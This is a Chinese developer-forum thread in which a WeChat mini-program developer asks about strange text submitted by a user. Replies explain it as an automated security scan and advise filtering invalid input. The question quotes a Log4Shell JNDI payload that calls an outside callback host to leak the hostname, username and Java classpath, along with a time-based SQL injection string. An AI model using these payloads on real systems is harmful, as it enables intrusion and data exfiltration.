公告列表
公告列表
收藏
回答

请问13416472917这个手机号是微信小程序审核用的号码吗？

请问13416472917这个手机号是微信小程序审核用的号码吗？为什么会收到用户提交的以下文本内容：${jndi:rmi://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.de21863dc7059882fea6d5272d269532.4j2.mauu.mauu.me/}

')) AND (SELECT*FROM(SELECT(SLEEP(4)))bfru) limit 1#

${jndi:rmi://hostname-${hostName}.username-${sys:u
回答关注问题邀请回答
收藏

1 个回答

  • Mr.Zhao
    Mr.Zhao
    10-10

    这是安全测试，你没校验数据是否合法，有安全问题

    10-10
    有用
    回复 5
    • 雪人24
      雪人24
      10-10
      意思是13416472917这个号是微信做的安全测试？
      10-10
      赞
      回复
    • Mr.Zhao
      Mr.Zhao
      10-10回复雪人24
      机器弄的 不是人填的
      10-10
      赞
      回复
    • 雪人24
      雪人24
      发表于移动端
      10-10回复Mr.Zhao
      难怪电话打不通，请问该如何处理呢，谢谢🙏
      10-10
      赞
      回复
    • Mr.Zhao
      Mr.Zhao
      发表于移动端
      10-10回复雪人24
      检验参数不合法，直接过滤就行了
      10-10
      赞
      回复
    • 雪人24
      雪人24
      10-11
      好的，谢谢🙏
      10-11
      赞
      回复
请 登录 后发表内容
相关文档